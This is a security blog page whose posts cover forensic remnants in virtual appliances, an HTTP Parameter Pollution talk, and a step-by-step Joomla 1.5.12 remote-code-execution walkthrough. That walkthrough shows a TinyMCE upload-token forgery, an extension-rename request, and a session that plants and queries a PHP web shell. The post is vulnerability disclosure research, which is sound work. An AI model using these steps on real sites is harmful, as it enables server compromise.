In the last months I've been most busy exploring virtualization security issues, which anyway I'm going to present at CONFidence and IT Underground Warsaw in a couple of weeks. However, I wanted to share with you an interesting piece of information I've uncovered while exploring some common virtual appliances.
As you surely know, it's really, really hard to make sure that a file is gone from your file system. You have to remove every reference, every tiny bit of information, or it might be uncovered: data structures, actual data left on the disk, backups of the data structures and so on. File System forensics is concerned with precisely this matter, and forensic software are capable of doing wonders when it comes to recovering deleted that from disks.
Well, the same is true for virtual appliances. While some vendors might decide that it's worth cleaning up and shrinking the disk before shipping virtual appliances, most will not. As a result, you can find gold inside those disks: setup scripts, configuration and installation stuff and all sort of "backend knowledge". This is quite hard to extract from actual machines, which are often disk-imaged and quite hard to reach with traditional tools (some are missing cd roms, for instance, and vendors do not really like you opening up their boxes). However, with virtual appliances it's really really easy to do so.
An example? VMware Studio virtual appliance, the virtual appliance which should be used to build other virtual appliances, has got references of the internal deb repository used to install the - custom - VMware Studio software on it, and traces of the actual debian packages as well.
More data on VA security in the near future, likely after my talk!
Virtual Appliances forensic - Part1
HPP @SEaCURE.it
Back from a short trip to SEaCURE.it, the first international security conference ever held in Italy. Together with Stefano@Minded, I gave a presentation on HTTP Parameter Pollution (HPP).
Cutting the crap, we have added a few slides regarding possible detection techniques, information leakage in Python via HPP vectors, PayPal NVP API abuse and a theoretical bypass of anti tampering HMAC.
What else?
Our interview, recorded during OWASP AppSec EU 2009, is finally online. Check the "OWASP Podcast 46, interview with Luca Carettoni & Stefano Di Paola (HTTP Parameter Pollution)"
Cheers,
Ikki
Just press Exploit!
Surfing the web I came across this Core Impact update, and I told myself that I wanted a Joomla-RCE-exploit-copy, too! So, as detailed here, an arbitrary file uploading vulnerability affects TinyMCE 1.41.6. As stated in the advisory, the word arbitrary refers to files whose extensions are not listed in $tinybrowser['prohibited'] array in config_tinybrowser.php :
// Prohibited file extensions
$tinybrowser['prohibited'] = array('php','php3','php4','php5','phtml','asp','aspx','ascx',
'jsp', 'cfm','cfc','pl','bat','exe','dll','reg','cgi','sh',
'py','asa','asax','config','com','inc');
This means that we can't directly upload a dot-php script on the remote host. However, I noticed a delicious "rename" option that only permits to rename files preserving their original extension. Thanks to my trusty Burp Proxy I sniffed some HTTP requests during file renaming and here you are an example. Let's have a look :
POST /joomla/.../edit.php?type=image&folder=aaa%2F HTTP/1.1
Host: 192.168.1.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
actionfile%5B0%5D=AAA.png&renameext%5B0%5D=png&
renamefile%5B0%5D=BBB.&action=rename
Ok, you are likely able to spot the problem. Attacker can manipulate the renameext[0] parameter resulting in an arbitrary file renaming. Just rename your AAA.png in AAA.php and get remote access! The next step was to automatically upload files via upload_file.php. The problem here is that the script implements a very rudimental mechanism to prevent direct file uploading. In upload_file.php, we can find this piece of code :
// Check hash is correct (workaround for
// Flash session bug, to stop external form posting)
if($_GET['obfuscate'] !=
md5($_SERVER['DOCUMENT_ROOT'].$tinybrowser['obfuscate'])) {
echo 'Error!'; exit;
}
The amazing token is built hashing the web root path name and the $tinybrowser['obfuscate'] variable's value (set to s0merand0mjunk!!!111 in config_tinybrowser.php). I used this additional vulnerability to get the path name. Obviously, should error messages be switched off, you would use the flash form to upload your images! Ok, that's all, here is the exploit and here is an exploitation session :
daath@shaytan:~$ php pwnoomla.php localhost /joomla
[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]
[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php
daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$
Have phun,
/daath
Subscribe to:
Posts (Atom)